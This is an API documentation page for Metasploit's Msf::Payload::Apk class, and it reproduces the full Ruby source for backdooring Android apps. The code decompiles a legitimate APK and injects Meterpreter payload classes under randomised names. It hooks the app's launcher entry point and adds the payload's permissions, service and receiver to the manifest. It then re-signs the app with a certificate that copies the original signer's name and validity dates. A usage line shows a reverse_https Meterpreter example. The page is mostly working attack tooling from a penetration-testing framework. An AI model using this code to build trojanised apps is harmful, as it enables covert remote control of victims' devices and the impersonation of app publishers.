Class: Msf::Payload::Apk

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/core/payload/apk.rb

Instance Method Summary collapse

Instance Method Details

#backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true) ⇒ Object



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# File 'lib/msf/core/payload/apk.rb', line 220

def backdoor_apk(apkfile, raw_payload, signature = true, manifest = true, apk_data = nil, service = true)
  unless apk_data || apkfile && File.readable?(apkfile)
    usage
    raise RuntimeError, "Invalid template: #{apkfile}"
  end

  check_apktool = run_cmd(%w[apktool -version])
  if check_apktool.nil?
    raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
  end

  if check_apktool.to_s.include?('java: not found')
    raise RuntimeError, "java not found. If it's not in your PATH, please add it."
  end

  jar_name = 'apktool.jar'
  if check_apktool.to_s.include?("can't find #{jar_name}")
    raise RuntimeError, "#{jar_name} not found. This file must exist in the same directory as apktool."
  end

  check_apktool_output_for_exceptions(check_apktool)

  apk_v = Rex::Version.new(check_apktool.split("\n").first.strip)
  unless apk_v >= Rex::Version.new('2.0.1')
    raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
  end
  unless apk_v >= Rex::Version.new('2.5.1')
    print_warning("apktool version #{apk_v} is outdated and may fail to decompile some apk files. Update apktool to the latest version.")
  end

  #Create temporary directory where work will be done
  tempdir = Dir.mktmpdir
  File.binwrite("#{tempdir}/payload.apk", raw_payload)
  if apkfile
    FileUtils.cp apkfile, "#{tempdir}/original.apk"
  else
    File.binwrite("#{tempdir}/original.apk", apk_data)
  end

  if signature
    keytool = run_cmd(['keytool'])
    unless keytool != nil
      raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
    end

    apksigner = run_cmd(['apksigner'])
    if apksigner.nil?
      raise RuntimeError, "apksigner not found. If it's not in your PATH, please add it."
    end

    zipalign = run_cmd(['zipalign'])
    unless zipalign != nil
      raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
    end

    keystore = "#{tempdir}/signing.keystore"
    storepass = "android"
    keypass = "android"
    keyalias = "signing.key"

    orig_cert_data = extract_cert_data_from_apk_file(apkfile)
    orig_cert_dname = orig_cert_data[0]
    orig_cert_startdate = orig_cert_data[1]
    orig_cert_validity = orig_cert_data[2]

    print_status "Creating signing key and keystore..\n"
    keytool_output = run_cmd([
      'keytool', '-genkey', '-v', '-keystore', keystore, '-alias', keyalias, '-storepass', storepass,
      '-keypass', keypass, '-keyalg', 'RSA', '-keysize', '2048', '-startdate', orig_cert_startdate,
      '-validity', orig_cert_validity, '-dname', orig_cert_dname
    ])

    if keytool_output.include?('keytool error: ')
      raise RuntimeError, "keytool could not generate key: #{keytool_output}"
    end
  end

  print_status "Decompiling original APK..\n"
  apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])
  check_apktool_output_for_exceptions(apktool_output)

  print_status "Decompiling payload APK..\n"
  apktool_output = run_cmd(['apktool', 'd', "#{tempdir}/payload.apk", '-o', "#{tempdir}/payload"])
  check_apktool_output_for_exceptions(apktool_output)

  amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")

  print_status "Locating hook point..\n"
  hookable_class = find_hook_point(amanifest)
  if hookable_class.blank?
    raise 'Unable to find hookable class in AndroidManifest.xml'
  end

  hookable_class_filename = hookable_class.to_s.gsub('.', '/') + '.smali'
  hookable_class_filepath = "#{tempdir}/original/smali*/#{hookable_class_filename}"
  smalifile = Dir.glob(hookable_class_filepath).select { |f| File.readable?(f) && !File.symlink?(f) }.flatten.first
  if smalifile.blank?
    raise "Unable to find class file: #{hookable_class_filepath}"
  end

  hooksmali = File.binread(smalifile)
  entrypoint = 'return-void'
  unless hooksmali.include?(entrypoint)
    raise "Unable to find hookable function in #{smalifile}"
  end

  # Remove unused files
  FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
  FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")

  package = amanifest.xpath("//manifest").first['package']
  package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
  classes = {}
  classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
  classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
  classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
  package_slash = package.gsub(/\./, "/")

  print_status "Adding payload as package #{package}\n"
  payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
  payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
  FileUtils.mkdir_p payload_dir

  # Copy over the payload files, fixing up the smali code
  payload_files.each do |file_name|
    smali = File.binread(file_name)
    smali_class = File.basename file_name
    for oldclass, newclass in classes
      if smali_class == "#{oldclass}.smali"
        smali_class = "#{newclass}.smali"
      end
      smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
    end
    smali.gsub!(/com\/metasploit\/stage/, package_slash)
    newfilename = "#{payload_dir}#{smali_class}"
    File.open(newfilename, "wb") {|file| file.puts smali }
  end

  if service
    hookfunction = "L#{package_slash}/#{classes['MainService']};->start()V"
  else
    hookfunction = "L#{package_slash}/#{classes['Payload']};->startContext()V"
  end

  payloadhook = %Q^invoke-static {}, #{hookfunction}
  ^ + entrypoint
  hookedsmali = hooksmali.sub(entrypoint, payloadhook)

  print_status "Loading #{smalifile} and injecting payload..\n"
  File.open(smalifile, "wb") {|file| file.puts hookedsmali }

  injected_apk = "#{tempdir}/output.apk"
  aligned_apk = "#{tempdir}/aligned.apk"
  if manifest
    print_status "Poisoning the manifest with meterpreter permissions..\n"
    fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
  end

  print_status "Rebuilding apk with meterpreter injection as #{injected_apk}\n"
  apktool_output = run_cmd(['apktool', 'b', '-o', injected_apk, "#{tempdir}/original"])
  check_apktool_output_for_exceptions(apktool_output)

  unless File.readable?(injected_apk)
    print_error apktool_output
    print_status("Unable to rebuild apk. Trying rebuild with AAPT2..\n")
    apktool_output = run_cmd(['apktool', 'b', '--use-aapt2', '-o', injected_apk, "#{tempdir}/original"])

    unless File.readable?(injected_apk)
      print_error apktool_output
      raise RuntimeError, "Unable to rebuild apk with apktool"
    end
  end

  if signature
    print_status "Aligning #{injected_apk}\n"
    zipalign_output = run_cmd(['zipalign', '-p', '4', injected_apk, aligned_apk])

    unless File.readable?(aligned_apk)
      print_error(zipalign_output)
      raise RuntimeError, 'Unable to align apk with zipalign.'
    end

    print_status "Signing #{aligned_apk} with apksigner\n"
    apksigner_output = run_cmd([
      'apksigner', 'sign', '--ks', keystore, '--ks-pass', "pass:#{storepass}", aligned_apk
    ])
    if apksigner_output.to_s.include?('Failed')
      print_error(apksigner_output)
      raise RuntimeError, 'Signing with apksigner failed.'
    end

    apksigner_verify = run_cmd(['apksigner', 'verify', '--verbose', aligned_apk])
    if apksigner_verify.to_s.include?('DOES NOT VERIFY')
      print_error(apksigner_verify)
      raise RuntimeError, 'Signature verification failed.'
    end
  else
    aligned_apk = injected_apk
  end

  outputapk = File.binread(aligned_apk)

  FileUtils.remove_entry tempdir
  outputapk
end

#check_apktool_output_for_exceptions(apktool_output) ⇒ Object



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# File 'lib/msf/core/payload/apk.rb', line 213

def check_apktool_output_for_exceptions(apktool_output)
  if apktool_output.to_s.include?('Exception in thread')
    print_error(apktool_output)
    raise RuntimeError, "apktool execution failed"
  end
end

#extract_cert_data_from_apk_file(path) ⇒ Object



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# File 'lib/msf/core/payload/apk.rb', line 149

def extract_cert_data_from_apk_file(path)
  orig_cert_data = []

  # extract signing scheme v1 (JAR signing) certificate
  # v1 signing is optional to support older versions of Android (pre Android 11)
  # https://source.android.com/security/apksigning/
  keytool_output = run_cmd(['keytool', '-J-Duser.language=en', '-printcert', '-jarfile', path])

  if keytool_output.include?('keytool error: ')
    raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
  end

  if keytool_output.start_with?('Not a signed jar file')
    # apk file does not have a valid v1 signing certificate
    # extract signing certificate from newer signing schemes (v2/v3/v4/...) using apksigner instead
    apksigner_output = run_cmd(['apksigner', 'verify', '--print-certs', path])

    cert_dname = apksigner_output.scan(/^Signer #\d+ certificate DN: (.+)$/).flatten.first.to_s.strip
    if cert_dname.blank?
      raise RuntimeError, "Could not extract signing certificate owner: #{apksigner_output}"
    end
    orig_cert_data.push(cert_dname)

    # Create random start date from some time in the past 3 years
    from_date = DateTime.now.next_day(-rand(3 * 365))
    orig_cert_data.push(from_date.strftime('%Y/%m/%d %T'))

    # Valid for 25 years
    # https://developer.android.com/studio/publish/app-signing
    to_date = from_date.next_year(25)
    validity = (to_date - from_date).to_i
    orig_cert_data.push(validity.to_s)
  else
    if keytool_output.include?('keytool error: ')
      raise RuntimeError, "keytool could not parse APK file: #{keytool_output}"
    end

    cert_dname = keytool_output.scan(/^Owner:(.+)$/).flatten.first.to_s.strip
    if cert_dname.blank?
      raise RuntimeError, "Could not extract signing certificate owner: #{keytool_output}"
    end
    orig_cert_data.push(cert_dname)

    valid_from_line = keytool_output.scan(/^Valid from:.+/).flatten.first
    if valid_from_line.empty?
      raise RuntimeError, "Could not extract certificate date: #{keytool_output}"
    end

    from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
    to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
    from_date = DateTime.parse(from_date_str.to_s)
    orig_cert_data.push(from_date.strftime('%Y/%m/%d %T'))
    to_date = DateTime.parse(to_date_str.to_s)
    validity = (to_date - from_date).to_i
    orig_cert_data.push(validity.to_s)
  end

  if orig_cert_data.empty?
    raise RuntimeError, 'Could not extract signing certificate from APK file'
  end

  orig_cert_data
end

#find_hook_point(manifest) ⇒ String

Find a suitable smali point to hook. Returns the first suitable hook point.

Parameters:

  • manifest (String)

    AndroidManifest.xml file contents

Returns:

  • (String)

    Full class name, for example: com.example.app.MainActivity



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# File 'lib/msf/core/payload/apk.rb', line 43

def find_hook_point(manifest)
  return unless manifest

  package = manifest.xpath('//manifest').first['package']

  application = manifest.xpath('//application')
  application_name = application.attribute('name').to_s
  unless (application_name.blank? || application_name == 'android.app.Application')
    unless application_name.include?('.')
      application_name = '.' + application_name
    end
    if application_name.start_with?('.')
      application_name = package + application_name
    end
    return application_name
  end

  activities = manifest.xpath('//activity|//activity-alias')
  for activity in activities
    activity_name = activity.attribute('targetActivity').to_s
    if activity_name.blank?
      activity_name = activity.attribute('name').to_s
    end

    next if activity_name.blank?

    category = activity.search('category')
    next unless category

    for cat in category
      category_name = cat.attribute('name').to_s
      next unless (category_name == 'android.intent.category.LAUNCHER' || category_name == 'android.intent.action.MAIN')

      unless activity_name.include?('.')
        activity_name = '.' + activity_name
      end
      if activity_name.start_with?('.')
        activity_name = package + activity_name
      end

      return activity_name
    end
  end

  nil
end

#fix_manifest(tempdir, package, main_service, main_broadcast_receiver) ⇒ Object



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# File 'lib/msf/core/payload/apk.rb', line 102

def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
  #Load payload's manifest
  payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
  payload_permissions = payload_manifest.xpath("//manifest/uses-permission")

  #Load original apk's manifest
  original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
  original_permissions = original_manifest.xpath("//manifest/uses-permission")

  old_permissions = []
  add_permissions = []

  original_permissions.each do |permission|
    name = permission.attribute("name").to_s
    old_permissions << name
  end

  application = original_manifest.xpath('//manifest/application')
  payload_permissions.each do |permission|
    name = permission.attribute("name").to_s
    unless old_permissions.include?(name)
      add_permissions += [permission.to_xml]
    end
  end
  add_permissions.shuffle!
  for permission_xml in add_permissions
    print_status("Adding #{permission_xml}")
    if original_permissions.empty?
      application.before(permission_xml)
      original_permissions = original_manifest.xpath("//manifest/uses-permission")
    else
      original_permissions.before(permission_xml)
    end
  end

  application = original_manifest.at_xpath('/manifest/application')
  receiver = payload_manifest.at_xpath('/manifest/application/receiver')
  service = payload_manifest.at_xpath('/manifest/application/service')
  receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
  receiver.attributes["label"].value = main_broadcast_receiver
  service.attributes["name"].value = package + '.' + main_service
  application << receiver.to_xml
  application << service.to_xml

  File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end

#parse_manifest(manifest_file) ⇒ Nokogiri::XML

Read AndroidManifest.xml file.

Parameters:

  • manifest_file (String)

    Path to AndroidManifest.xml file

Returns:

  • (Nokogiri::XML)

    AndroidManifest.xml file contents



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# File 'lib/msf/core/payload/apk.rb', line 95

def parse_manifest(manifest_file)
  File.open(manifest_file, "rb"){|file|
    data = File.read(file)
    return Nokogiri::XML(data)
  }
end


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# File 'lib/msf/core/payload/apk.rb', line 17

def print_error(msg='')
  $stderr.puts "[-] #{msg}"
end


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# File 'lib/msf/core/payload/apk.rb', line 13

def print_status(msg='')
  $stderr.puts "[*] #{msg}"
end

#run_cmd(cmd) ⇒ Object



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# File 'lib/msf/core/payload/apk.rb', line 28

def run_cmd(cmd)
  begin
    stdin, stdout, stderr = Open3.popen3(*cmd)
    return stdout.read + stderr.read
  rescue Errno::ENOENT
    return nil
  end
end

#usageObject



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# File 'lib/msf/core/payload/apk.rb', line 23

def usage
  print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
  print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
end